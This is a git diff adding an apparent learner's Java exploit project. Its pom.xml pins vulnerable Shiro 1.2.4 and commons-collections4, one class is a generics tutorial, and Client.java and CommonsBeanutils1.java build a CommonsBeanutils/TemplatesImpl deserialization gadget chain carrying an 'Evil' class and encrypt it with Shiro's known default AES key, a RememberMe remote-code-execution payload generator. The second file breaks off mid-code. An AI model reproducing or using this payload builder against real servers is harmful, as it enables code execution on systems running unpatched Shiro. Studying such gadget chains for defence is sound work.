diff --git a/commonscollection4/pom.xml b/commonscollection4/pom.xml
new file mode 100644
index 0000000..d6622a5
--- /dev/null
+++ b/commonscollection4/pom.xml
@@ -0,0 +1,84 @@
+
+
+ 4.0.0
+
+ org.example
+ commonscollection4
+ 1.0-SNAPSHOT
+
+
+ 8
+ 8
+ UTF-8
+
+
+
+
+
+
+
+
+
+ org.apache.commons
+ commons-collections4
+ 4.0
+
+
+ org.jetbrains
+ annotations
+ RELEASE
+ compile
+
+
+ org.javassist
+ javassist
+ 3.27.0-GA
+
+
+
+
+
+
+
+
+ org.apache.shiro
+ shiro-core
+ 1.2.4
+
+
+ org.apache.shiro
+ shiro-web
+ 1.2.4
+
+
+ javax.servlet
+ javax.servlet-api
+ 3.1.0
+ provided
+
+
+ javax.servlet.jsp
+ jsp-api
+ 2.2
+ provided
+
+
+ org.slf4j
+ slf4j-api
+ 1.7.30
+
+
+ org.slf4j
+ slf4j-simple
+ 1.7.30
+
+
+ commons-logging
+ commons-logging
+ 1.2
+
+
+
+
\ No newline at end of file
diff --git a/commonscollection4/src/main/java/org/example/Box.java b/commonscollection4/src/main/java/org/example/Box.java
new file mode 100644
index 0000000..2c10190
--- /dev/null
+++ b/commonscollection4/src/main/java/org/example/Box.java
@@ -0,0 +1,25 @@
+package org.example;
+
+public class Box {
+
+ private T t;
+
+ public void add(T t) {
+ this.t = t;
+ }
+
+ public T get() {
+ return t;
+ }
+
+ public static void main(String[] args) {
+ Box integerBox = new Box<>();
+ Box stringBox = new Box<>();
+
+ integerBox.add(new Integer(10));
+ stringBox.add(new String("菜鸟教程"));
+
+ System.out.printf("整型值为 :%d\n\n", integerBox.get());
+ System.out.printf("字符串为 :%s\n", stringBox.get());
+ }
+}
diff --git a/commonscollection4/src/main/java/org/example/Client.java b/commonscollection4/src/main/java/org/example/Client.java
new file mode 100644
index 0000000..9b39095
--- /dev/null
+++ b/commonscollection4/src/main/java/org/example/Client.java
@@ -0,0 +1,26 @@
+package org.example;
+
+import javassist.CannotCompileException;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.NotFoundException;
+import org.apache.shiro.crypto.AesCipherService;
+import org.apache.shiro.util.ByteSource;
+
+import java.io.IOException;
+import java.util.Base64;
+
+public class Client {
+ public static void main(String[] args) throws Exception {
+ ClassPool pool = ClassPool.getDefault();
+ CtClass clazz = pool.get(org.example.Evil.class.getName());
+ byte[] payload = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
+
+ AesCipherService aes = new AesCipherService();
+ byte[] decode = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
+
+ ByteSource encrypt = aes.encrypt(payload, decode);
+ System.out.println(encrypt);
+ }
+
+}
diff --git a/commonscollection4/src/main/java/org/example/CommonsBeanutils1.java b/commonscollection4/src/main/java/org/example/CommonsBeanutils1.java
new file mode 100644
index 0000000..c9eb236
--- /dev/null
+++ b/commonscollection4/src/main/java/org/example/CommonsBeanutils1.java
@@ -0,0 +1,56 @@
+package org.example;
+
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import javassist.ClassPool;
+import javassist.CtClass;
+import org.apache.commons.beanutils.BeanComparator;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Field;
+import java.util.PriorityQueue;
+
+public class CommonsBeanutils1 {
+ private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
+ Field f = obj.getClass().getDeclaredField(fieldName);
+ f.setAccessible(true);
+ f.set(obj, value);
+ }
+
+ protected static byte[] getBytescode() throws Exception {
+ ClassPool pool = ClassPool.getDefault();
+ CtClass clazz = pool.get(org.example.Evil.class.getName());
+ return clazz.toBytecode();
+ }
+ public static void main(String[] args) throws Exception {
+ TemplatesImpl obj = new TemplatesImpl();
+ setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
+ setFieldValue(obj, "_name", "HelloTemplatesImpl");
+ setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
+
+ BeanComparator comparator = new BeanComparator();
+
+ final PriorityQueue